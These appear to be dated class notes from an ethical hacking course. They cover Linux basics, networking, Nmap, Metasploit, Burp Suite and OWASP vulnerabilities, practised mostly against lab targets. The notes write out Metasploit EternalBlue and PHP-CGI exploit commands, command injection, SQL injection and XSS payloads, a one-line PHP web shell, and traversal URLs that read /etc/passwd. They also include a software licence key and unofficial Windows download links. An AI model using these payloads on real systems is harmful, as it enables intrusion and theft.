Rinex3 Class Notes
Rinex3 Class Notes
117170
==============
Types of Hacker:
White Hat Hacker = Ethical Hacking or Hacker
Black Hat Hacker = Unethical Hacker
Grey Hat Hacker = Both White & Black
Mr Robot
Skills
------
Kali Linux
Networking
Programing
Vulnerabilty
Vulnerabilty Testing
Vulnerabilty Exploit
Security
etc..
Task:
VMware = https://www.vmware.com/go/getworkstation-win
Servers Metasploitable 2 =
https://sourceforge.net/projects/metasploitable/files/latest/download
Windows 7 =
https://drive.google.com/file/d/1RTNLLEOtm64CTEr4UmDn1E8vUHToBSjK/view?usp=shari
ng
https://soft.uclv.edu.cu/Microsoft/Microsoft.Windows.7/en_windows_7_professional_with_sp
1_vl_build_x64_dvd_u_677791.iso
Windows 10 = http://185.194.29.37/win10/Win10.21H1.iso
------------------------------------------------------------------------------------
06/09/23
VMware = MC60H-DWHD5-H80U9-6V85M-8280D
Kali Linux
Linux server
---------------------------------------------------------------------------
07/09/23
Attack
Vulnerability - Week Points, Loop Hole
Threat -
Risk -
Linux Based OS
--------------
Apple -> MAC, IOS
Google -> Android
Offsec -> Kali Linux
Basics of Computer
Networking
OS Interface:
GUI -
CLI - Command Line Interface
User:
Root / Admin
Normal - raj, sneha, rocky
Commands:
pwd
ls
cd Desktop
cd ..
cd /
cd
mkdir folder-name
rmdir folder-name
touch file-name
rm file-name
Task:
-----
---------------------------------------------------------------------
11/09/23
Injection
Shell File upload
XSS
Brute Force
XML
etc..
Commands:
---------
cp file-name folder-name/
mv file-name folder-name/
mv file-name new-file-name
rm file-name
rm -rf folder-name
rmdir folder-name
nano file-name
sudo apt update
sudo apt upgrade
sudo apt install tool-name
passwd
sudo su
passwd kali
adduser username
su username
sudo cat /etc/shadow
https://discord.gg/SvEvdSKagT
------------------------------------------------------------------------
12/9/23
Hacking Phases:
Reconnaissance:
Domain name, Subdomain, IP, Web Technologies, Email, phone, dns
Target: microsoft
URL = https://www.microsoft.com/en-in
Domain = www.microsoft.com
Commands:
subfinder -d microsoft.com
nslookup microsoft.com
----------------------------------------------------------------
13/9/23
Types of Network
LAN - Local Area Network
WAN (Internet) - Wide Area Network
Address
Physical = MAC (Media Access Control)
Virtual = IP (Internet Protocol)
Types of IP
Private IP = No Internet
Public IP = Internet
Ip Check
ipconfig -> windows
ifconfig -> Kali linux
Public ip check = https://whatismyipaddress.com/
IP Version
IPv4 = 192.168.1.1
4 Octet
0 min
255 max
0.0.0.0
255.255.255.255
4 billion
IPv6 = 2401:4900:1c2b:e4c3:441d:23d4:4ce6:8c67
8
128
78.58.98.01.54 - N | N
1.1.1.1.1 - N | N
0.0.0.0 - V | V
256.25.45.89 - V | N
255.255.255.255 - V | V
256.256.256 - N
0.0.0.0
0.0.0.1
0.0.0.2
0.0.0.255
0.0.1.0
0.0.1.1
-----------------------------------------------------------------
you (Hi) -> Packet (your ip, your dst ip, your port no, your dst port, your mac, your dst mac,
protocol, etc...) -> router ->
Wireshark
---------
SYN ->
SYN, ACK <-
ACK ->
Transfer data
UDP
Transfer data
-----------------------------------------------------------------
Information Gathering
Scanning a Network
Nmap Tool
---------------
Commands:
nmap ip
nmap -p1-65535 ip
nmap -p80 ip
nmap -p80,21,54 ip
nmap domain.com
nmap -O ip
nmap -A ip
https://discord.gg/SvEvdSKagT
-----------------------------------------------------------------
Metasploit-Framework
Scan
Find Vuln
Exploit
Create payload (malware/Virus)
LHOST = Attacker IP
LPORT = Attacker Port
Metasploit-Framework:
RHOST -> Target IP Address
RPORT -> Target Port No
LHOST -> Attacker IP Address
LPORT -> Attacker POrt No
meterpreter> id
meterpreter> whoami
meterpreter> ls
meterpreter> pwd
Windows 7 sp 1 Exploit:
-----------------------
445 - SMBv1
Commans:
msfconosle
search ms17-010
use exploit/windows/smb/ms17_010_eternalblue
show options
set rhost 192.168.1.30
show options
exploit
meterpreter> sysinfo
meterpreter> shell
meterpreter> screenshare
meterpreter> help
--------------------------------------------------------------
VAPT
Website -> WAPT
Network -> NPT
Html tags
Code:
<!DOCTYPE html>
<html>
<head>
<title>WAPT</title>
</head>
<body>
<h1>This is hed</h1>
<marquee>Mr. Hacker</marquee>
<p>This is para</p>
<?php
echo "This is PHP";
?>
</body>
</html>
Web Root =
Apache2 = /var/www/html/
Task: Create a webpage and access the webpage through apache server in kali
----------------------------------------------------------------
HTTP Protocol
HTTP Request
HTTP Response
HTTP Methods
HTTP Status Codes
Client Server Communication
----------------------------
Request Method
GET Request -> https://www.google.com/
POST Request
etc..
Response codes
100 - 199 (Info)
200 - 299 (Success)
300 - 399 (Redirect)
400 - 499 (Client Error)
500 - 599 (Server Error)
raj.com
raj.in
raj.gov
mrrobot.000.pe -> 72 hr
http
+ ssl certificate
https
---------------------------------------------------------
80 - http
http://testphp.vulnweb.com/
https://www.google.com/
Server = Computer
C:\xampp\htdocs\wordpress\wp-config-sample.php
------------------------------------------------------------
Injection
---------
Bypass Login pages
Database
Website Defacement
etc..
HTML Injection
OS Command Injection
SQL Injection
etc..
HTML Injection
--------------
<h1>Type your text</h1>
OS Command Injection
--------------------
www.google.com;ls
www.google.com;pwd
www.google.com;cat /etc/passwd
www.google.com;hostname
www.google.com&&ls
-----------------------------------------------------------
Broken Authentication
SQL Injection
---------------------
raj123=raj123 True
12345=123456 False
Username: admin'or'1'='1
Password: admin'or'1'='1
Username: raj123
Password: admin'or'1'='1
https://github.com/payloadbox/sql-injection-payload-list
http://example.com/xyz.php?xyz=1
https://example.com/xyz.asp?xyz=1
http://testphp.vulnweb.com/listproducts.php?cat=1'
Image Missing
Data Missing
Error
Tool: sqlmap
Commands:
---------
------------------------------------------------------------------------------------
dirb http://testphp.vulnweb.com/
Burp Suite
---------------------------------------------------------------------------
Security Misconfiguration
-------------------------
Weak Credentials
Username: admin
Password: admin
--------------------------------------------------------------------------
XSS
---
Input Fields
Search Box
Name = Raj
Phone = 9798989
Email = [email protected]
Comments
Feedback
etc..
Malicious Code
JavaScript
HTML
<script>alert("Mr. Hacker")</script>
<script>document.body.innerHTML="<h1>Hacked by Raj</h1>"</script>
Type of XSS
Reflected
Stored
Task: Perform XSS Stored Attack on DVWA -> Result Hacked by Student Name
-----------------------------------------------------------------
Insecure Deserialization
Using Components with Known Vulnerabilities
Insufficient Logging and Monitoring
--------------------------------------------
Insecure Deserialization
serialization
Cookie Packet
Command:
--------
nc -lnvp 4444
https://assets.tryhackme.com/additional/cmn-owasptopten/pickleme.py
python3 pickleme.py
Task: Practice Using Components with Known Vulnerabilities & Insufficient Logging and
Monitoring
---------------------------------------------------------------------------------------------------------------------------
----------------------------------------
Burp Suite
Introduction to Burp Suite
Lab Setup
Working of proxy in Burp Suite
(Buy product)
---------------------------------
Proxy IP : 127.0.0.1
Proxy Port : 8080
GET / HTTP/1.1
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
http://burp
{"balance":0,"cost":0}
Task: https://billionth-difficult.000webhostapp.com/buy_flag/#
---------------------------------------------------------------------
Day 20 - Module 5 - 11/10/23
============================
Intruder
--------
Sniper:
1 Wordlist
admin
password
root
test
Useraname | Password
---------------------
xyz pass123
admin pass123
password pass123
root pass123
test pass123
xyz admin
xyz password
xyz root
xyz test
Battering ram:
1 Wordlist
admin
password
root
test
Useraname | Password
---------------------
xyz pass123
admin admin
password password
root root
test test
Pitchfork:
2 Wordilst
User | Pass
-----------
admin pass
root toor
abc test
test def
xyz
Useraname | Password
---------------------
xyz pass123
admin pass
root toor
abc test
test def
Cluster bomb:
2 Wordlist
User | Pass
-----------
admin pass
root toor
abc test
test def
xyz
Useraname | Password
---------------------
xyz pass123
admin pass
admin toor
admin test
admin def
admin xyz
root pass
Repeater
--------
Task: Perform Brute force on testphp.vulnweb.com
--------------------------------------------------------------------
Decoder
Comparer
Extensions
https://drive.google.com/file/d/1_qosF4qbuO8iQUUdeOKlawgbiQvXBImK/view?usp=sharing
--------------------------------------------------------------------------------
Vulnerability Analysis
Introduction to CVSS Scoring
CVSS Calculation
Risk Rating
Severity level analysis
Color coding
------------------------------
Risk Rating => (0.0 - 10.0) CVSS (Common Vulnerability Scoring System) =
https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator
CTF = https://overthewire.org/wargames/bandit/
Host = bandit.labs.overthewire.org
Port = 2220
Username = bandit0
Password = bandit0
--------------------------------------------------------------------------------
Mitigations
SQL Injection Mitigations
Input Validation
Mitigations to HTML Injection
Mitigations to XSS
Mitigations to Directory Traversal | Demo
-----------------------------------------
Input Validation
Input Field:
Name - a-z, max 15
Phone - 0-9, max 10
Email - @. a-z, 0-9, max 20
etc..
Directory Traversal
-------------------
Patch Traversal
Dot Dot Slash (../) Attack
http://192.168.1.31/bWAPP/directory_traversal_2.php?directory=documents
http://192.168.1.31/bWAPP/directory_traversal_2.php?directory=../../
http://192.168.1.31/bWAPP/directory_traversal_1.php?page=../../../etc/passwd
/etc/passwd
---------------------------------------------------------------------------------
Upload Vuln
File Upload Vuln
Shell File Upload Vuln
Upload Options:
CV Upload - .pdf, .doc | .html, .php, .js, .png, etc...
Photo Upload - .jpeg, .png | .pdf, .html, .php
Video Upload - .mp4, .mkv
etc..
Security:
Upload Validation
White List - .jpeg, .png
Magic Number
<?php
echo system($_GET["cmd"])
?>
Save as .php
b374k.php = https://github.com/The404Hacking/b374k-mini/blob/master/b374k.php
---------------------------------------------------------------------------------
Apache + PHP < 5.3.12 / < 5.4.2 - cgi-bin Remote Code Execution
----------------------------------------------------------------
use exploit/multi/http/php_cgi_arg_injection
show options
set rhost 192.168.1.24
exploit
---------------------------------------------------------------------------------
Report Writing
Detailed Reporting of Vulnerabilities with Risk Rating
Findings
Mitigations
Steps to Reproduce
Support Evidence
-------------------
-------------------------------------------------------------------
Pentester
SOC
Cloud Security
IoT Security
Malware Ana
Keywords
Cloud Security 20%
Network Vapt 80%
Linux 100%
CEH Certificate
Comptia Security+
OSCP Certificate
48 hr
--------------------------------------------------------------------------
SOC
Pentester
Malware
Cloud Security
Tor Project
.onion
https://www.torproject.org/download/